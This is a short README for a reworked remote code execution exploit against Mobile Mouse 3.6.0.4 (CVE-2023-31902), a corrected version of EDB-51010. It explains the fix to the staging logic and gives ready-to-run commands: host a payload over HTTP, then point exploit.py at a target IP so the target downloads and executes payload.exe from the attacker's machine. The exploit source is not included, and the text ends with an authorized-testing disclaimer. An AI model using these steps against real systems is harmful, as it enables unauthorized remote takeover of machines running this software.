
Mobile Mouse 3.6.0.4 - Remote Code Execution - CVE-2023-31902
A corrected version of the Mobile Mouse 3.6.0.4 remote code execution exploit published as EDB-51010.
The original exploit successfully downloads the payload but may fail to execute it because both stages use the same TCP connection.
This version:
It also uses sendall(), properly escaped Windows paths, socket timeouts, and basic error handling.
Start an HTTP server in the payload directory:
python3 -m http.server 8080
Run the exploit:
python3 exploit.py \
--target 192.168.1.50 \
--lhost 192.168.1.10 \
--file payload.exe
This project is intended only for authorized security testing and educational research. Do not use it against systems without explicit permission.